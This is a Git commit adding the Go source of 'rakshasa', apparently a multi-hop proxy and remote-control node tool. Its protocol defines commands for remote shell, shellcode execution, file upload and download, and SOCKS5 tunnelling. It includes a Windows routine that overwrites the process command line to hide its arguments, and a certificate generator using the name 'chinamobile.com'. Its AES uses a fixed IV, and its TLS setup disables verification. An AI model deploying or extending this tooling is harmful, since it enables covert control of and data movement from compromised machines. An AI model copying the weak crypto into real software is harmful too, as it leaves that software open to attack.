初次提交

This commit is contained in:
Mob2003
2023-03-22 11:30:21 +08:00
parent 0c34cff145
commit 30bf0dc9d0
95 changed files with 14609 additions and 0 deletions
+154
View File
File diff suppressed because one or more lines are too long
+20
View File
@@ -0,0 +1,20 @@
package aes
import (
"bytes"
"crypto/aes"
"crypto/cipher"
)
func AesCfbNewEncrypSteam() cipher.Stream {
block, _ := aes.NewCipher(Key)
iv := bytes.Repeat([]byte("1"), block.BlockSize())
return cipher.NewCFBEncrypter(block, iv)
}
func AesCfbNewDecrypSteam() cipher.Stream {
block, _ := aes.NewCipher(Key)
iv := bytes.Repeat([]byte("1"), block.BlockSize())
return cipher.NewCFBDecrypter(block, iv)
}
+46
View File
@@ -0,0 +1,46 @@
package aes
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"unsafe"
)
var Key []byte
func AesCtrEncrypt(dst, plainText []byte) []byte {
//1. 创建cipher.Block接口
block, _ := aes.NewCipher(Key)
//2. 创建分组模式,在crypto/cipher包中
iv := bytes.Repeat([]byte("1"), block.BlockSize())
stream := cipher.NewCTR(block, iv)
//3. 加密
stream.XORKeyStream(dst, plainText)
return dst
}
func AesCtrDecrypt(encryptData []byte) []byte {
data := make([]byte, len(encryptData))
return AesCtrEncrypt(data, encryptData)
}
const hextable = "0123456789abcdef"
func MD5_B(str string) []byte {
dst := make([]byte, 32)
for k, v := range md5.Sum(Str2bytes(str)) {
dst[k*2] = hextable[v>>4]
dst[k*2+1] = hextable[v&0x0f]
}
return dst
}
func Str2bytes(s string) []byte {
x := (*[2]uintptr)(unsafe.Pointer(&s))
h := [3]uintptr{x[0], x[1], x[1]}
return *(*[]byte)(unsafe.Pointer(&h))
}
+53
View File
@@ -0,0 +1,53 @@
package cert
import (
"crypto/tls"
"crypto/x509"
_ "embed"
"log"
)
//go:embed server.crt
var rsaCert []byte
//go:embed server.key
var PublicKey []byte
var Tlsconfig *tls.Config
func init() {
//内置证书
cert, err := tls.X509KeyPair(rsaCert, PublicKey)
if err != nil {
log.Panicln(err)
return
}
certPool := x509.NewCertPool()
if ok := certPool.AppendCertsFromPEM(rsaCert); !ok {
log.Panicln("PEM err")
return
}
Tlsconfig = &tls.Config{
Certificates: []tls.Certificate{cert},
InsecureSkipVerify: true,
RootCAs: certPool,
ClientAuth: tls.RequireAndVerifyClientCert,
ClientCAs: certPool,
MaxVersion: tls.VersionTLS12,
MinVersion: tls.VersionTLS12,
CipherSuites: []uint16{
tls.TLS_AES_128_GCM_SHA256,
tls.TLS_CHACHA20_POLY1305_SHA256,
tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256,
tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256,
},
}
}
+134
View File
@@ -0,0 +1,134 @@
package common
import (
"encoding/base64"
"errors"
"fmt"
"github.com/dlclark/regexp2"
"net"
"strconv"
)
type Addr struct {
scheam string
user, passwd string
ip string
port int
httpAuthorizationHeader string
}
func ParseAddr(str string) (cfg *Addr, err error) {
defer func() {
if cfg != nil && cfg.user != "" && cfg.passwd != "" {
cfg.httpAuthorizationHeader = fmt.Sprintf("Proxy-Authorization: Basic %s", base64.URLEncoding.EncodeToString([]byte(cfg.user+":"+cfg.passwd)))
}
}()
r, _ := regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`, 0)
m, err := r.FindStringMatch(str)
if err != nil {
return nil, errors.New("配置解析错误," + err.Error())
}
if m != nil {
var res_v []string
for _, v := range m.Groups() {
res_v = append(res_v, v.String())
}
addr, err := net.ResolveTCPAddr("tcp", res_v[4]+":"+res_v[5])
if err != nil {
return nil, errors.New("配置解析错误 " + res_v[4] + ":" + res_v[5] + " 不是有效的 地址:端口")
}
return &Addr{
scheam: res_v[1],
user: res_v[2],
passwd: res_v[3],
ip: res_v[4],
port: addr.Port,
}, nil
}
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`, 0)
m, err = r.FindStringMatch(str)
if err != nil {
return nil, errors.New("配置解析错误," + err.Error())
}
if m != nil {
var res_v []string
for _, v := range m.Groups() {
res_v = append(res_v, v.String())
}
port, _ := strconv.Atoi(res_v[4])
return &Addr{
scheam: res_v[1],
user: res_v[2],
passwd: res_v[3],
ip: "",
port: port,
}, nil
}
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)$`, 0)
m, err = r.FindStringMatch(str)
if err != nil {
return nil, errors.New("配置解析错误," + err.Error())
}
if m != nil {
var res_v []string
for _, v := range m.Groups() {
res_v = append(res_v, v.String())
}
addr, err := net.ResolveTCPAddr("tcp", res_v[2]+":"+res_v[3])
if err != nil {
return nil, errors.New("配置解析错误 " + res_v[1] + ":" + res_v[2] + " 不是有效的 地址:端口")
}
return &Addr{
scheam: res_v[1],
user: "",
passwd: "",
ip: res_v[2],
port: addr.Port,
}, nil
}
port, err := strconv.Atoi(str)
if err != nil {
return nil, errors.New("配置解析错误,请按照 用户名:密码@地址:端口 的方式填写,或者 用户名:密码@端口 或者 ip:端口 或者 只有端口")
}
return &Addr{port: port}, nil
}
func (c *Addr) IP() string {
return c.ip
}
func (c *Addr) Addr() string {
return fmt.Sprintf("%s:%d", c.ip, c.port)
}
func (c *Addr) Port() string {
return fmt.Sprintf("%d", c.port)
}
func (c *Addr) String() string {
if c.user == "" && c.passwd == "" {
if c.ip == "" {
return fmt.Sprintf("%d", c.port)
}
return fmt.Sprintf("%s%s:%d", c.scheam, c.ip, c.port)
}
return fmt.Sprintf("%s%s:%s@%s:%d", c.scheam, c.user, c.passwd, c.ip, c.port)
}
func (c *Addr) GetHttpAuthorizationHeader() string {
return c.httpAuthorizationHeader
}
func (c *Addr) User() string {
return c.user
}
func (c *Addr) Password() string {
return c.passwd
}
func (c *Addr) Scheam() string {
return c.scheam
}
func (c *Addr) HttpUrl() string {
return "http://" + c.Addr()
}
+10
View File
@@ -0,0 +1,10 @@
//go:build linux || darwin
// +build linux darwin
package common
func ChangeArg(param string) {
//linux暂不支持
}
+29
View File
@@ -0,0 +1,29 @@
//go:build windows
// +build windows
package common
import (
"syscall"
"unsafe"
)
func ChangeArg(param string) {
if kernel32, err := syscall.LoadDLL("Kernel32.dll"); err == nil {
if GetCommandLineA, err := kernel32.FindProc("GetCommandLineW"); err == nil {
u, _, _ := GetCommandLineA.Call()
u16, _ := syscall.UTF16FromString(param)
for k, v := range u16 {
*(*byte)(unsafe.Pointer(u + uintptr(k*2+0))) = byte(v)
*(*byte)(unsafe.Pointer(u + uintptr(k*2+1))) = byte(v >> 8)
}
*(*uint16)(unsafe.Pointer(u + uintptr(len(u16)*2+1))) = 0
}
}
}
+321
View File
@@ -0,0 +1,321 @@
package common
import (
"bytes"
"errors"
"fmt"
"github.com/google/uuid"
"math/rand"
"net"
"rakshasa/aes"
"strings"
"sync"
"sync/atomic"
"time"
)
var Debug bool = false
var DebugLock bool = false
var DebugLockMap sync.Map
const UUID_LEN = 16
var BroadcastUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0xff}, UUID_LEN))
var NoneUUID, _ = uuid.FromBytes(bytes.Repeat([]byte{0x00}, UUID_LEN))
var EnableTermVt bool
// 数据包结构 包长(2byteUUID+UUID+MsgId+Ttl+cmd包
type Msg struct {
From string
To string
MsgId uint32
Ttl uint8
CmdOpteion uint8
CmdId uint32
CmdData []byte
}
const (
MAX_PLAINTEXT = 16384 - 2 - UUID_LEN*2 - 4 - 1 - 5 //不包含headlen
MAX_PACKAGE = 0xffff - UUID_LEN*2 - 4 - 1 - 5
INIT_WINDOWS_SIZE = MAX_PLAINTEXT * 20
WRITE_DEADLINE = time.Second * 5
CMD_TIMEOUT = time.Second * 10
)
// 大数据包格式,(CMD+fd)headlen+内容,不超过MaxPlaintext,使用tls自动分包
const (
CMD_NONE = iota
CMD_CONNECT_BYIDADDR //请求id, 格式newWork(1byte)+负载
CMD_CONNECT_BYIDADDR_RESULT //返回id
CMD_DELETE_CONNID //删除fd资源
CMD_CONN_MSG //发送消息,格式windows(8byte)+负载
CMD_CONN_UDP_MSG //udp数据包
CMD_NODE_RESTART //删除所有
CMD_WINDOWS_UPDATE // 增加窗口值
CMD_PING //请求ping
CMD_PONG //返回pong
CMD_PING_LISTEN //bind和remoteSocke5用,type(1byte)+id(4byte)
CMD_PING_LISTEN_RESULT
CMD_REG //通过本地注册
CMD_REG_RESULT //节点端注册
CMD_REMOTE_REG //通过远程服务器注册
CMD_REMOTE_REG_RESULT
CMD_GET_CURRENT_NODE //特殊指令,节点丢失后,查询节点
CMD_GET_CURRENT_NODE_RESULT
CMD_GET_NODE //获取节点列表
CMD_GET_NODE_RESULT
CMD_ADD_NODE //新增节点
CMD_LISTEN //监听
CMD_LISTEN_RESULT
CMD_DELETE_LISTEN
CMD_CONNECT_BYID //连接
CMD_DELETE_LISTENCONN_BYID
CMD_REMOTE_SOCKS5 //
//CMD_REMOTE_SOCKS5_RESULT
CMD_PWD
CMD_PWD_RESULT
CMD_DIR
CMD_DIR_RESULT
CMD_CD
CMD_CD_RESULT
CMD_UPLOAD
CMD_UPLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=进度
CMD_DOWNLOAD
CMD_DOWNLOAD_RESULT //type(1byte)+msg type定义 0=错误,1=size包,2=数据包
CMD_SHELL
CMD_SHELL_DATA
CMD_SHELL_RESULT
CMD_RUN_SHELLCODE
CMD_RUN_SHELLCODE_RESULT
)
var CmdToName = map[uint8]string{
CMD_NONE: "CMD_NONE",
CMD_CONNECT_BYIDADDR: "CMD_CONNECT_BYIDADDR",
CMD_CONNECT_BYIDADDR_RESULT: "CMD_CONNECT_BYIDADDR_RESULT",
CMD_DELETE_CONNID: "CMD_DELETE_CONNID",
CMD_CONN_MSG: "CMD_CONN_MSG",
CMD_CONN_UDP_MSG: "CMD_CONN_UDP_MSG",
CMD_NODE_RESTART: "CMD_NODE_RESTART",
CMD_WINDOWS_UPDATE: "CMD_WINDOWS_UPDATE",
CMD_PING: "CMD_PING",
CMD_PONG: "CMD_PONG",
CMD_PING_LISTEN: "CMD_PING_LISTEN",
CMD_PING_LISTEN_RESULT: "CMD_PING_LISTEN_RESULT",
CMD_REG: "CMD_REG",
CMD_REG_RESULT: "CMD_REG_RESULT",
CMD_REMOTE_REG: "CMD_REMOTE_REG",
CMD_REMOTE_REG_RESULT: "CMD_REMOTE_REG_RESULT",
CMD_GET_CURRENT_NODE: "CMD_GET_CURRENT_NODE",
CMD_GET_CURRENT_NODE_RESULT: "CMD_GET_CURRENT_NODE_RESULT",
CMD_GET_NODE: "CMD_GET_NODE",
CMD_GET_NODE_RESULT: "CMD_GET_NODE_RESULT",
CMD_ADD_NODE: "CMD_ADD_NODE",
CMD_LISTEN: "CMD_LISTEN",
CMD_LISTEN_RESULT: "CMD_LISTEN_RESULT",
CMD_DELETE_LISTEN: "CMD_DELETE_LISTEN",
CMD_CONNECT_BYID: "CMD_CONNECT_BYID",
CMD_DELETE_LISTENCONN_BYID: "CMD_DELETE_LISTEN_CONN_BYID",
CMD_REMOTE_SOCKS5: "CMD_REMOTE_SOCKS5",
//CMD_REMOTE_SOCKS5_RESULT: "CMD_REMOTE_SOCKS5_RESULT",
CMD_PWD: "CMD_PWD",
CMD_PWD_RESULT: "CMD_PWD_RESULT",
CMD_DIR: "CMD_DIR",
CMD_DIR_RESULT: "CMD_DIR_RESULT",
CMD_CD: "CMD_CD",
CMD_CD_RESULT: "CMD_CD_RESULT",
CMD_UPLOAD: "CMD_UPLOAD",
CMD_UPLOAD_RESULT: "CMD_UPLOAD_RESULT",
CMD_DOWNLOAD: "CMD_DOWNLOAD",
CMD_DOWNLOAD_RESULT: "CMD_DOWNLOAD_RESULT",
CMD_SHELL: "CMD_SHELL",
CMD_SHELL_DATA: "CMD_SHELL_DATA",
CMD_SHELL_RESULT: "CMD_SHELL_RESULT",
CMD_RUN_SHELLCODE: "CMD_RUN_SHELLCODE",
CMD_RUN_SHELLCODE_RESULT: "CMD_RUN_SHELLCODE_RESULT",
}
type NetWork byte
const (
_ NetWork = iota
SOCKS5_CMD_CONNECT
// CmdBind is bind command
SOCKS5_CMD_BIND
// CmdUDP is UDP command
SOCKS5_CMD_UDP
RAW_TCP
RAW_TCP_WITH_PROXY
)
// 符合Server调用的接口
type Server interface {
ID() uint32
Write(buf []byte)
DeleteFd(fd [2]byte)
FdLoad(fd [2]byte) bool
FdStore(fd [2]byte, c Conn)
Close(string)
AddrList() string
}
const (
CONN_STATUS_OK = iota
CONN_STATUS_CLOSE
)
// 符合Conn调用的接口
type Conn interface {
Write([]byte) //会将部分消息原样不动发回去
Close(string)
}
type Close interface {
Close(string)
}
var globalID1, globalID2 uint32
var GetIDLock sync.Mutex
func GetID() uint32 {
return atomic.AddUint32(&globalID1, 1)
}
func GetConnID() uint32 {
return atomic.AddUint32(&globalID2, 1)
}
func init() {
rand.Seed(time.Now().Unix())
}
type RegMsg struct {
UUID string //当前机器uuid
Addr string
RegAddr string //远程连接的addr
Hostname string //当前机器名称
Goos string
ViaUUID string
Err string
MainIp []string
Port int
}
var msgId uint32
func (m *Msg) Marshal() []byte {
l := UUID_LEN*2 + 4 + 1 + 5 + len(m.CmdData)
data := make([]byte, l+2)
data1 := make([]byte, l+2)
data1[0] = byte(l)
data1[1] = byte(l >> 8)
uf, _ := uuid.Parse(m.From)
ut, _ := uuid.Parse(m.To)
bf, _ := uf.MarshalBinary()
bt, _ := ut.MarshalBinary()
copy(data[2:], bf)
copy(data[2+UUID_LEN:], bt)
b := 2 + 2*UUID_LEN
if m.MsgId == 0 { //id不为0
m.MsgId = atomic.AddUint32(&msgId, 1)
}
data[b] = byte(m.MsgId)
data[b+1] = byte(m.MsgId >> 8)
data[b+2] = byte(m.MsgId >> 16)
data[b+3] = byte(m.MsgId >> 24)
data[b+4] = m.Ttl
data[b+5] = m.CmdOpteion
data[b+6] = byte(m.CmdId)
data[b+7] = byte(m.CmdId >> 8)
data[b+8] = byte(m.CmdId >> 16)
data[b+9] = byte(m.CmdId >> 24)
copy(data[2+2*UUID_LEN+4+1+5:], m.CmdData)
aes.AesCtrEncrypt(data1[2:], data[2:])
return data1
}
func UnmarshalMsg(data []byte) (msg *Msg) {
if len(data) < 2*UUID_LEN+4+1+5 {
return
}
msg = &Msg{}
uf, _ := uuid.FromBytes(data[:UUID_LEN])
ut, _ := uuid.FromBytes(data[UUID_LEN : 2*UUID_LEN])
msg.From = uf.String()
msg.To = ut.String()
b := 2 * UUID_LEN
msg.MsgId = uint32(data[b]) | uint32(data[b+1])<<8 | uint32(data[b+2])<<16 | uint32(data[b+3])<<24
msg.Ttl = data[b+4]
msg.CmdOpteion = data[b+5]
msg.CmdId = uint32(data[b+6]) | uint32(data[b+7])<<8 | uint32(data[b+8])<<16 | uint32(data[b+9])<<24
msg.CmdData = data[b+10:]
return
}
func ExternalIP() (net.IP, error) {
ifaces, err := net.Interfaces()
if err != nil {
return nil, err
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 {
continue // interface down
}
if iface.Flags&net.FlagLoopback != 0 {
continue // loopback interface
}
addrs, err := iface.Addrs()
if err != nil {
return nil, err
}
for _, addr := range addrs {
ip := getIpFromAddr(addr)
if ip == nil {
continue
}
return ip, nil
}
}
return nil, errors.New("connected to the network?")
}
// 获取ip
func getIpFromAddr(addr net.Addr) net.IP {
var ip net.IP
switch v := addr.(type) {
case *net.IPNet:
ip = v.IP
case *net.IPAddr:
ip = v.IP
}
if ip == nil || ip.IsLoopback() {
return nil
}
ip = ip.To4()
if ip == nil {
return nil // not an ipv4 address
}
return ip
}
func ResolveTCPAddr(str string) ([]string, error) {
dst := strings.Split(str, ",")
for i := len(dst) - 1; i >= 0; i-- {
addr := dst[i]
if addr == "" {
dst = append(dst[:i], dst[i+1:]...)
} else {
if _, err := net.ResolveTCPAddr("tcp", addr); err != nil {
return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err)
}
}
}
return dst, nil
}
+11
View File
@@ -0,0 +1,11 @@
package common
type Config struct {
DstNode []string //-d 上级节点
Password string //通讯密码,可为空
Port int //默认8883
ListenIp []string //指定公网ip,其他节点进行额外节点连接时候,尝试连接的ip
Limit bool //禁止额外连接,只连接-d节点,不会尝试连接其他节点
FileName string
FileSave bool `yaml:"-"`
}
+15
View File
@@ -0,0 +1,15 @@
//go:build linux || darwin
// +build linux darwin
package common
import (
"github.com/creack/pty"
"os"
)
func SetConsoleVT() {}
func GetSize() *pty.Winsize {
size, _ := pty.GetsizeFull(os.Stdin)
return size
}
+75
View File
@@ -0,0 +1,75 @@
//go:build windows
// +build windows
package common
import (
"github.com/creack/pty"
"syscall"
"unsafe"
)
func SetConsoleVT() {
if kernel32, err := syscall.LoadDLL("kernel32.dll"); err == nil {
if GetStdHandle, err := kernel32.FindProc("GetStdHandle"); err == nil {
if GetConsoleMode, err := kernel32.FindProc("GetConsoleMode"); err == nil {
if SetConsoleMode, err := kernel32.FindProc("SetConsoleMode"); err == nil {
//仅限win10
v := int32(-11)
hand, _, _ := GetStdHandle.Call(uintptr(v))
if hand == ^uintptr(0) {
return
}
var dwMode int32
if res, _, _ := GetConsoleMode.Call(hand, uintptr(unsafe.Pointer(&dwMode))); res == 1 {
res, _, _ = SetConsoleMode.Call(hand, uintptr(dwMode|0x0004))
EnableTermVt = res == 1
}
}
}
}
}
}
type COORD struct {
X uint16
Y uint16
}
type SMALL_RECT struct {
Left uint16
Top uint16
Right uint16
Bottom uint16
}
type CONSOLE_SCREEN_BUFFER_INFO struct {
Size COORD
CursorPosition COORD
Attributes uint16
Window SMALL_RECT
MaximumWindowSize COORD
}
func GetSize() (size *pty.Winsize) {
var csbi CONSOLE_SCREEN_BUFFER_INFO
if kernel32, err := syscall.LoadDLL("kernel32.dll"); err == nil {
if GetStdHandle, err := kernel32.FindProc("GetStdHandle"); err == nil {
if GetConsoleScreenBufferInfo, err := kernel32.FindProc("GetConsoleScreenBufferInfo"); err == nil {
//仅限win10
v := int32(-11)
hand, _, _ := GetStdHandle.Call(uintptr(v))
if hand == ^uintptr(0) {
return nil
}
if res, _, _ := GetConsoleScreenBufferInfo.Call(hand, uintptr(unsafe.Pointer(&csbi))); res == 1 {
size = &pty.Winsize{}
size.Cols = csbi.Window.Right - csbi.Window.Left + 1
size.Rows = csbi.Window.Bottom - csbi.Window.Top + 1
}
}
}
}
return
}
+8
View File
@@ -0,0 +1,8 @@
dstnode:
#- 192.168.1.180:8883
password: ""
port: 8884
listenip:
- 192.168.1.151
limit: false
filename: config.yaml
+164
View File
@@ -0,0 +1,164 @@
package main
import (
"bytes"
cr "crypto/rand"
"crypto/rsa"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"log"
"math/big"
"math/rand"
"net"
"os"
"time"
)
func main() {
subj := &pkix.Name{
CommonName: "chinamobile.com",
Organization: []string{"Company, INC."},
Country: []string{"US"},
Province: []string{""},
Locality: []string{"San Francisco"},
StreetAddress: []string{"Golden Gate Bridge"},
PostalCode: []string{"94016"},
}
ca, err := CreateCA(subj, 10)
if err != nil {
log.Panic(err)
}
Write(ca, "../cert/server")
crt, err := Req(ca.CSR, subj, 10, []string{"test.default.svc", "test"}, []net.IP{})
if err != nil {
log.Panic(err)
}
Write(crt, "../cert/server")
}
type CERT struct {
CERT []byte
CERTKEY *rsa.PrivateKey
CERTPEM *bytes.Buffer
CERTKEYPEM *bytes.Buffer
CSR *x509.Certificate
}
func CreateCA(sub *pkix.Name, expire int) (*CERT, error) {
var (
ca = new(CERT)
err error
)
if expire < 1 {
expire = 1
}
// 为ca生成私钥
ca.CERTKEY, err = rsa.GenerateKey(cr.Reader, 4096)
if err != nil {
return nil, err
}
// 对证书进行签名
ca.CSR = &x509.Certificate{
SerialNumber: big.NewInt(rand.Int63n(2000)),
Subject: *sub,
NotBefore: time.Now(), // 生效时间
NotAfter: time.Now().AddDate(expire, 0, 0), // 过期时间
IsCA: true, // 表示用于CA
// openssl 中的 extendedKeyUsage = clientAuth, serverAuth 字段
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
// openssl 中的 keyUsage 字段
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
BasicConstraintsValid: true,
}
// 创建证书
// caBytes 就是生成的证书
ca.CERT, err = x509.CreateCertificate(cr.Reader, ca.CSR, ca.CSR, &ca.CERTKEY.PublicKey, ca.CERTKEY)
if err != nil {
return nil, err
}
ca.CERTPEM = new(bytes.Buffer)
pem.Encode(ca.CERTPEM, &pem.Block{
Type: "CERTIFICATE",
Bytes: ca.CERT,
})
ca.CERTKEYPEM = new(bytes.Buffer)
pem.Encode(ca.CERTKEYPEM, &pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(ca.CERTKEY),
})
// 进行PEM编码,编码就是直接cat证书里面内容显示的东西
return ca, nil
}
func Req(ca *x509.Certificate, sub *pkix.Name, expire int, dns []string, ip []net.IP) (*CERT, error) {
var (
cert = &CERT{}
err error
)
cert.CERTKEY, err = rsa.GenerateKey(cr.Reader, 4096)
if err != nil {
return nil, err
}
if expire < 1 {
expire = 1
}
cert.CSR = &x509.Certificate{
SerialNumber: big.NewInt(rand.Int63n(2000)),
Subject: *sub,
IPAddresses: ip,
DNSNames: dns,
NotBefore: time.Now(),
NotAfter: time.Now().AddDate(expire, 0, 0),
SubjectKeyId: []byte{1, 2, 3, 4, 6},
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
KeyUsage: x509.KeyUsageDigitalSignature,
}
cert.CERT, err = x509.CreateCertificate(cr.Reader, cert.CSR, ca, &cert.CERTKEY.PublicKey, cert.CERTKEY)
if err != nil {
return nil, err
}
cert.CERTPEM = new(bytes.Buffer)
pem.Encode(cert.CERTPEM, &pem.Block{
Type: "CERTIFICATE",
Bytes: cert.CERT,
})
cert.CERTKEYPEM = new(bytes.Buffer)
pem.Encode(cert.CERTKEYPEM, &pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(cert.CERTKEY),
})
return cert, nil
}
func Write(cert *CERT, file string) error {
keyFileName := file + ".key"
certFIleName := file + ".crt"
kf, err := os.Create(keyFileName)
if err != nil {
return err
}
defer kf.Close()
if _, err := kf.Write(cert.CERTKEYPEM.Bytes()); err != nil {
return err
}
cf, err := os.Create(certFIleName)
if err != nil {
return err
}
if _, err := cf.Write(cert.CERTPEM.Bytes()); err != nil {
return err
}
return nil
}
+17
View File
@@ -0,0 +1,17 @@
module rakshasa
go 1.16
replace github.com/abiosoft/readline => ./readline
require (
github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db
github.com/creack/pty v1.1.18
github.com/dlclark/regexp2 v1.7.0
github.com/google/uuid v1.3.0
github.com/luyu6056/ishell v1.0.1
github.com/mattn/go-colorable v0.1.12 // indirect
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a // indirect
golang.org/x/text v0.3.7
gopkg.in/yaml.v3 v3.0.1
)
+58
View File
@@ -0,0 +1,58 @@
github.com/abiosoft/ishell v2.0.0+incompatible h1:zpwIuEHc37EzrsIYah3cpevrIc8Oma7oZPxr03tlmmw=
github.com/abiosoft/ishell v2.0.0+incompatible/go.mod h1:HQR9AqF2R3P4XXpMpI0NAzgHf/aS6+zVXRj14cVk9qg=
github.com/abiosoft/ishell/v2 v2.0.2 h1:5qVfGiQISaYM8TkbBl7RFO6MddABoXpATrsFbVI+SNo=
github.com/abiosoft/ishell/v2 v2.0.2/go.mod h1:E4oTCXfo6QjoCart0QYa5m9w4S+deXs/P/9jA77A9Bs=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM=
github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04=
github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8=
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dlclark/regexp2 v1.7.0 h1:7lJfhqlPssTb1WQx4yvTHN0uElPEv52sbaECrAQxjAo=
github.com/dlclark/regexp2 v1.7.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BMXYYRWTLOJKlh+lOBt6nUQgXAfB7oVIQt5cNreqSLI=
github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:rZfgFAXFS/z/lEd6LJmf9HVZ1LkgYiHx5pHhV5DR16M=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/luyu6056/ishell v1.0.1 h1:ztZGZXGIoeRSfynF2D9TmNVc5KBJo7TXEEtyxC/HnXg=
github.com/luyu6056/ishell v1.0.1/go.mod h1:HY5iQO19Iwonkp+PdWGcixzqUpfIm35HyIkj2UrsVbg=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40=
github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354/go.mod h1:KSVJerMDfblTH7p5MZaTt+8zaT2iEk3AkVb9PQdZuE8=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/testify v1.1.4/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
